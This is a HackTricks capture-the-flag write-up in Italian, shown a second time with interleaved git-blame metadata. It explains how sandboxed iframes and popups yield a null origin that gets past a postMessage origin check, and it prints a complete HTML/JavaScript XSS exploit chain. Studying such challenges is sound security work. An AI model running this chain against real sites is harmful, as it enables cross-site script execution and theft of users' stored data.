hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

# Bypassing SOP with Iframes - 1

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-1

In questa [**sfida**](https://github.com/terjanq/same-origin-xss) creata da [**NDevTK**](https://github.com/NDevTK) e [**Terjanq**](https://github.com/terjanq) devi sfruttare un XSS nel codice
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
Il problema principale è che la [**pagina principale**](https://so-xss.terjanq.me) utilizza DomPurify per inviare il `data.body`, quindi per inviare i propri dati html a quel codice è necessario **bypassare** `e.origin !== window.origin`.

Vediamo la soluzione che propongono.

### SOP bypass 1 (e.origin === null)

Quando `//example.org` è incorporato in un **iframe sandboxed**, allora l'**origin** della pagina sarà **`null`**, cioè **`window.origin === null`**. Quindi, semplicemente incorporando l'iframe tramite `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` potremmo **forzare l'origin `null`**.

Se la pagina fosse **incorporabile**, potresti bypassare quella protezione in quel modo (i cookie potrebbero anche dover essere impostati su `SameSite=None`).

### SOP bypass 2 (window.origin === null)

Il fatto meno conosciuto è che quando il **valore sandbox `allow-popups` è impostato**, allora il **popup aperto** **erediterà** tutti gli **attributi sandboxed** a meno che `allow-popups-to-escape-sandbox` non sia impostato.\
Quindi, aprire un **popup** da un **origin null** farà sì che **`window.origin`** all'interno del popup sia anch'esso **`null`**.

### Soluzione della sfida

Pertanto, per questa sfida, si potrebbe **creare** un **iframe**, **aprire un popup** sulla pagina con il gestore di codice XSS vulnerabile (`/iframe.php`), poiché `window.origin === e.origin` perché entrambi sono `null`, è possibile **inviare un payload che sfrutterà l'XSS**.

Quel **payload** otterrà l'**identificatore** e invierà un **XSS** **indietro alla pagina principale** (la pagina che ha aperto il popup), **che** cambierà **posizione** verso il **vulnerabile** `/iframe.php`. Poiché l'identificatore è noto, non importa che la condizione `window.origin === e.origin` non sia soddisfatta (ricorda, l'origin è il **popup** dall'iframe che ha **origin** **`null`**) perché `data.identifier === identifier`. Quindi, l'**XSS si attiverà di nuovo**, questa volta nell'origin corretto.
```html
<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.

</details>
{% endhint %}
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`# Bypassing SOP with Iframes - 1`

			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`## Iframes in SOP-1`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`In questa [sfida](https://github.com/terjanq/same-origin-xss) creata da [NDevTK](https://github.com/NDevTK) e [Terjanq](https://github.com/terjanq) devi sfruttare un XSS nel codice`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```javascript
			`const identifier = '4a600cd2d4f9aa1cfb5aa786';`
			`onmessage = e => {`
Translated to Italian 2024-02-10 13:03:23 +00:00			`const data = e.data;`
			`if (e.origin !== window.origin && data.identifier !== identifier) return;`
			`if (data.type === 'render') {`
			`renderContainer.innerHTML = data.body;`
			`}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`}`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Il problema principale è che la [pagina principale](https://so-xss.terjanq.me) utilizza DomPurify per inviare il `data.body`, quindi per inviare i propri dati html a quel codice è necessario bypassare `e.origin !== window.origin`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`Vediamo la soluzione che propongono.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`### SOP bypass 1 (e.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Quando `//example.org` è incorporato in un iframe sandboxed, allora l'origin della pagina sarà `null`, cioè `window.origin === null`. Quindi, semplicemente incorporando l'iframe tramite `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` potremmo forzare l'origin `null`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Se la pagina fosse incorporabile, potresti bypassare quella protezione in quel modo (i cookie potrebbero anche dover essere impostati su `SameSite=None`).
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`### SOP bypass 2 (window.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Il fatto meno conosciuto è che quando il valore sandbox `allow-popups` è impostato, allora il popup aperto erediterà tutti gli attributi sandboxed a meno che `allow-popups-to-escape-sandbox` non sia impostato.\
			Quindi, aprire un popup da un origin null farà sì che `window.origin` all'interno del popup sia anch'esso `null`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`### Soluzione della sfida`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Pertanto, per questa sfida, si potrebbe creare un iframe, aprire un popup sulla pagina con il gestore di codice XSS vulnerabile (`/iframe.php`), poiché `window.origin === e.origin` perché entrambi sono `null`, è possibile inviare un payload che sfrutterà l'XSS.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			Quel payload otterrà l'identificatore e invierà un XSS indietro alla pagina principale (la pagina che ha aperto il popup), che cambierà posizione verso il vulnerabile `/iframe.php`. Poiché l'identificatore è noto, non importa che la condizione `window.origin === e.origin` non sia soddisfatta (ricorda, l'origin è il popup dall'iframe che ha origin `null`) perché `data.identifier === identifier`. Quindi, l'XSS si attiverà di nuovo, questa volta nell'origin corretto.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```html
			`<body>`
Translated to Italian 2024-02-10 13:03:23 +00:00			`<script>`
			`f = document.createElement('iframe');`

			`// Needed flags`
			`f.sandbox = 'allow-scripts allow-popups allow-top-navigation';`

			`// Second communication with /iframe.php (this is the top page relocated)`
			`// This will execute the alert in the correct origin`
			const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
			`x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');`
			},1000);`.replaceAll('\n',' ');

			`// Initial communication`
			`// Open /iframe.php in a popup, both iframes and popup will have "null" as origin`
			`// Then, bypass window.origin === e.origin to steal the identifier and communicate`
			`// with the top with the second XSS payload`
			f.srcdoc = `
			`<h1>Click me!</h1>`
			`<script>`
			`onclick = e => {`
			`let w = open('https://so-xss.terjanq.me/iframe.php');`
			`onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';`
			`setTimeout(_ => {`
			`w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')`
			`}, 1000);`
			`};`
			`<\/script>`
			`
			`document.body.appendChild(f);`
			`</script>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`</body>`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% hint style="success" %}`
			`Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`<summary>Supporta HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`* Controlla i [piani di abbonamento](https://github.com/sponsors/carlospolop)!`
			`* Unisciti al 💬 [gruppo Discord](https://discord.gg/hRep4RUj7f) o al [gruppo telegram](https://t.me/peass) o seguici su Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Condividi trucchi di hacking inviando PR ai [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repos su github.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00			`{% endhint %}`